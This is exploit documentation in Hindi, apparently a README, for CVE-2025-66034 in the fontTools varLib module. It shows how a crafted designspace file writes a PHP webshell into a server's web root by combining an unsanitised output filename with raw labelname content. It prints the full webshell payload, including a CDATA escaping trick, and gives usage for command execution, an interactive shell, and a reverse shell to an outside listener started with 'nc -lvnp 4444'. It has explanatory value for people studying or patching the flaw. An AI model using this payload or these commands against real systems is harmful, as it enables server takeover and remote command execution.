
CVE-2025-66034 exploit and documentation
fontTools एक Python लाइब्रेरी है जो फ़ॉन्ट फ़ाइलों में हेरफेर करने के लिए है। इसका varLib मॉड्यूल .designspace फ़ाइलों को प्रोसेस करता है — यह एक XML प्रारूप है जो बताता है कि एक वेरिएबल फ़ॉन्ट उत्पन्न करने के लिए कई फ़ॉन्ट मास्टर्स को कैसे इंटरपोलेट किया जाना चाहिए।
प्रभावित संस्करणों में दो कमज़ोरियाँ मौजूद हैं:
1. अनसेनेटाइज़्ड आउटपुट फ़ाइलनाम
डिज़ाइनस्पेस फ़ाइल में <variable-font filename="..."> विशेषता नियंत्रित करती है कि varLib संकलित आउटपुट फ़ॉन्ट कहाँ लिखता है। लाइब्रेरी इस पथ को फ़ाइल सिस्टम में भेजने से पहले कोई सत्यापन या सामान्यीकरण नहीं करती है। एक हमलावर एक पूर्ण पथ या पथ ट्रैवर्सल अनुक्रम प्रदान कर सकता है ताकि आउटपुट फ़ाइल को प्रक्रिया की लेखन पहुँच वाले किसी भी स्थान पर लिख सके।
2. XML सामग्री आउटपुट में पास की गई
fontTools <labelname> तत्वों से अक्ष लेबल नामों को सीधे आउटपुट फ़ॉन्ट की नाम तालिका में कच्चे बाइट्स के रूप में सीरियलाइज़ करता है, बिना सामग्री को सैनिटाइज़ किए। <labelname> ब्लॉक के अंदर रखा गया कोई भी स्ट्रिंग — PHP कोड सहित — लिखी गई फ़ाइल में शब्दशः समाप्त होता है।
एक साथ, ये दो कमज़ोरियाँ एक हमलावर को, जो fontTools-समर्थित वेब एंडपॉइंट पर एक डिज़ाइनस्पेस फ़ाइल सबमिट कर सकता है, सर्वर पर किसी भी लिखने योग्य पथ पर मनमानी सामग्री वाली एक मनमानी फ़ाइल लिखने की अनुमति देती हैं।
डिज़ाइनस्पेस फ़ाइल में दो इंजेक्शन होते हैं।
पहला <labelname> तत्व में है:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
XML में CDATA सेक्शन एंटिटी एस्केपिंग के बिना मनमाने वर्ण डेटा की अनुमति देते हैं, लेकिन वे स्वयं ]]> अनुक्रम नहीं रख सकते क्योंकि यह सेक्शन को समाप्त करता है। PHP क्लोज़िंग टैग ?> को नेइवली लिखने पर पार्स त्रुटि होगी। अनुक्रम ]]]]><![CDATA[> एक CDATA सेक्शन को ]] के तुरंत बाद बंद करता है और > से शुरू होने वाला एक नया सेक्शन खोलता है, इसलिए अंतिम रेंडर की गई सामग्री <?php system($_REQUEST["cmd"]);?> है — सिंटैक्सिकली वैलिड PHP — बिना कभी XML पार्सर त्रुटि ट्रिगर किए।
दूसरा इंजेक्शन आउटपुट पथ में है:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools इस स्ट्रिंग से बिना किसी पथ सामान्यीकरण के आउटपुट फ़ाइल हैंडल बनाता है। फ़ाइल उसी स्थान पर बनाई जाती है।
varLib को संकलित करने के लिए कम से कम एक स्रोत फ़ॉन्ट की आवश्यकता है। मास्टर को वास्तविक फ़ॉन्ट होने की आवश्यकता नहीं है — एक एकल खाली ग्लिफ़ वाला न्यूनतम TTF सत्यापन पास करने के लिए पर्याप्त है। इस एक्सप्लॉइट में एम्बेडेड base64 TTF fontTools FontBuilder के साथ जनरेट किया गया था और इसमें केवल एक वर्गाकार कंटूर के साथ एक .notdef ग्लिफ़ और न्यूनतम आवश्यक तालिकाएँ (head, hhea, OS/2, cmap, glyf, hmtx, name, post) शामिल हैं।
एक्सप्लॉइट वेब एप्लिकेशन के फ़ॉन्ट जनरेशन एंडपॉइंट पर designspace और TTF को multipart/form-data POST के रूप में सबमिट करता है। सर्वर फ़ाइलों को varLib.build() में पास करता है। varLib designspace को पार्स करता है, मास्टर को पढ़ता है, वेरिएबल फ़ॉन्ट को संकलित करता है, और इसे filename= में निर्दिष्ट पथ पर लिखता है — जो वेब रूट है।
लिखी गई फ़ाइल एक बाइनरी फ़ॉन्ट फ़ाइल है जिसमें PHP पेलोड एम्बेडेड है। PHP का पार्सर फ़ाइलों को ओपनिंग टैग के लिए स्कैन करता है, बजाय इसके कि फ़ाइल पूरी तरह से PHP से बनी हो। जब वेब सर्वर फ़ाइल को PHP के रूप में प्रोसेस करता है, तो उसे <?php system($_REQUEST["cmd"]);?> मिलता है और उसे निष्पादित करता है। टैग से पहले और बाद की सब कुछ ज्यों की त्यों उत्सर्जित होती है और अनदेखा की जाती है।
प्रतिक्रिया बॉडी कच्ची फ़ॉन्ट बाइनरी है। कमांड आउटपुट दो अनुमानित लैंडमार्क के बीच आता है जो fontTools नाम तालिका में लिखता है:
TestWeight400 — एम्बेडेड मास्टर TTF में परिवार और वजन वर्ग फ़ील्ड से प्राप्त]]>ThinMEOW2 — designspace में फ्रेंच <labelname> तत्व सेएक्सप्लॉइट इन दो स्ट्रिंग्स के बीच प्रतिक्रिया को काटता है और BeautifulSoup के साथ अवशिष्ट XML टैग को हटाकर साफ कमांड आउटपुट उत्पन्न करता है।
pip install requests beautifulsoup4
सभी तीन लक्ष्य पैरामीटर आवश्यक हैं। कोई डिफ़ॉल्ट हार्डकोडेड नहीं हैं।
--process-url फ़ॉन्ट प्रोसेसर एंडपॉइंट का पूरा URL
--shell-url लिखने के बाद वेबशेल तक पहुँचने का पूरा URL
--write-path सर्वर शेल को लिखने का फ़ाइल सिस्टम पथ
वैकल्पिक:
--session PHPSESSID कुकी मान (यदि पोर्टल प्रमाणीकरण की आवश्यकता है)
--no-plant अपलोड चरण छोड़ें (शेल पहले से लगाया गया है)
--hostname इंटरैक्टिव प्रॉम्प्ट में दिखाया गया लेबल
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
पहले एक लिसनर शुरू करें:
nc -lvnp 4444
फिर ट्रिगर करें:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
रिवर्स शेल पेलोड ट्रांसमिशन से पहले base64-एन्कोडेड होता है ताकि cmd क्वेरी पैरामीटर के अंदर शेल मेटाकैरेक्टर एस्केपिंग समस्याओं से बचा जा सके।
varLib मॉड्यूल के build() फ़ंक्शन और designspace पार्सर में मौजूद है।